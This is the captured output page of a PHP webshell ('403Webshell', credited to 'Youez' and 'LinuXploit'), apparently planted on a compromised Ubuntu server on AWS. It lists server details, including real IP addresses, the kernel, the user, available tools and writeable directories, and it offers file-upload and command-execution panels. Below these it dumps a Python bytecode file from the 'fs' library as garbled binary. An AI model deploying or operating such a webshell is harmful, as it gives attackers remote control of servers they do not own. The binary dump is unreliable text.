403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/filesize.cpython-312.pyc
�

��ob�
��l�dZddlmZmZddlZej
r
ddlmZmZmZgd�Z	d�Z
d�Zd�Zd	�Z
y)
a�Functions for reporting filesizes.

The functions declared in this module should cover the different
usecases needed to generate a string representation of a file size
using several different units. Since there are many standards regarding
file size units, three different functions have been implemented.

See Also:
    * `Wikipedia: Binary prefix <https://en.wikipedia.org/wiki/Binary_prefix>`_

�)�division�unicode_literalsN)�Iterable�SupportsInt�Text)�traditional�decimal�binaryc��	t|�}|dk(ry||krdj|�St	|d�D]\}}||z}||ks�ndj||zz�S#t$rtdj|���wxYw)Nz+filesize requires a numeric value, not {!r}�z1 bytez
{:,} bytes�z
{:,.1f} {})�int�
ValueError�	TypeError�format�	enumerate)�size�suffixes�base�i�suffix�units      �-/usr/lib/python3/dist-packages/fs/filesize.py�_to_strrs���T��4�y���q�y��	
����"�"�4�(�(��x��+��	��6��Q�w���$�;�������t��d� 2�V�<�<���T��E�L�L�T�R�S�S�T�s�A!�!$Bc��t|dd�S)u�Convert a filesize in to a string (powers of 1024, JDEC prefixes).

    In this convention, ``1024 B = 1 KB``.

    This is the format that was used to display the size of DVDs
    (*700 MB* meaning actually about *734 003 200 bytes*) before
    standardisation of IEC units among manufacturers, and still
    used by **Windows** to report the storage capacity of hard
    drives (*279.4 GB* meaning *279.4 × 1024³ bytes*).

    Arguments:
        size (int): A file size.

    Returns:
        `str`: A string containing an abbreviated file size and units.

    Example:
        >>> fs.filesize.traditional(30000)
        '29.3 KB'

    )�KB�MB�GB�TB�PB�EB�ZB�YB��r�rs rrr,s��.�4�I�4�P�P�c��t|dd�S)ahConvert a filesize in to a string (powers of 1024, IEC prefixes).

    In this convention, ``1024 B = 1 KiB``.

    This is the format that has gained adoption among manufacturers
    to avoid ambiguity regarding size units, since it explicitly states
    using a binary base (*KiB = kibi bytes = kilo binary bytes*).
    This format is notably being used by the **Linux** kernel (see
    ``man 7 units``).

    Arguments:
        int (size): A file size.

    Returns:
        `str`: A string containing a abbreviated file size and units.

    Example:
        >>> fs.filesize.binary(30000)
        '29.3 KiB'

    )�KiB�MiB�GiB�TiB�PiB�EiB�ZiB�YiBr$r%r&s rr
r
Fs��.�4�Q�SW�X�Xr'c��t|dd�S)a;Convert a filesize in to a string (powers of 1000, SI prefixes).

    In this convention, ``1000 B = 1 kB``.

    This is typically the format used to advertise the storage
    capacity of USB flash drives and the like (*256 MB* meaning
    actually a storage capacity of more than *256 000 000 B*),
    or used by **Mac OS X** since v10.6 to report file sizes.

    Arguments:
        int (size): A file size.

    Returns:
        `str`: A string containing a abbreviated file size and units.

    Example:
        >>> fs.filesize.decimal(30000)
        '30.0 kB'

    )�kBrrrr r!r"r#i�r%r&s rr	r	`s��,�4�I�4�P�Pr')�__doc__�
__future__rr�typing�
TYPE_CHECKINGrrr�__all__rrr
r	�r'r�<module>r9s?��
�2�
�	���2�2�/��=�&Q�4Y�4Qr'

Youez - 2016 - github.com/yon3zu
LinuXploit